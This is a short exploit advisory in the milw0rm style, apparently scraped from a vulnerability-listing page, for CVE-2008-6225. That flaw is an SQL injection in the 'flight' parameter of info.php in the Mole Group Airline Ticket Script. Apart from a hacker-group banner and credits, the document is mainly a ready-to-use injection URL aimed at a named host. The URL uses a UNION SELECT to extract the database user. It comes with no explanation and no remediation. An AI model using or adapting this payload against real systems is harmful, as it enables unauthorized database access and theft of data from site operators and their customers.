flight php漏洞,CVE-2008-6225 Mole Group Airline Ticket Script 'info.php' SQL注入漏洞-漏洞情报、漏洞详情、安全漏洞、CVE - ...

|| || | ||

o_,_7 _|| . _o_7 _|| 4_|_|| o_w_,

( : / (_) / ( .

|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

| _ __ __ __ ______ |

| /' \ __ /'__`\ /\ \__ /'__`\ /\ ___\ |

| /\_, \ ___ /\_\/\_\L\ \ ___\ \ ,_\/\ \/\ \ _ __\ \ \__/ |

| \/_/\ \ /' _ `\ \/\ \/_/_\_<_>

| \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |

| \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ \ \____/ |

| \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ \/___/ |

| \ \____/ >> Kings of injection |

| \/___/ |

| |

|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

<> Found by : Cyb3r-1sT

<> C0ntact : cyb3r-1st [at] hotmail.com

<> Groups : InjEctOr5 T3am

<> site : www.tryag.cc/cc

=======================================================

+++++++++++++++++++ Script information+++++++++++++++++

=======================================================

<> script : mole-group Airline Ticket Script

<> script demo : www.mole-group.com/content/view/57/72

=======================================================

+++++++++++++++++++++++ Exploit +++++++++++++++++++++++

=======================================================

<> D0rk : find it

<> Exploit :>>>

>>>> http://airline.mole-group.com/info.php?flight=[sql]

ex >>>> http://airline.mole-group.com/info.php?flight=-60'+union+select+convert(user()+using+latin1),0,0,0,0,0,0,0,0,0,0,0,0/*

=======================================================

++++++++++++++++++++++ Greetz +++++++++++++++++++++++++

=======================================================

<> All freinds and all muslims

# milw0rm.com [2008-11-05]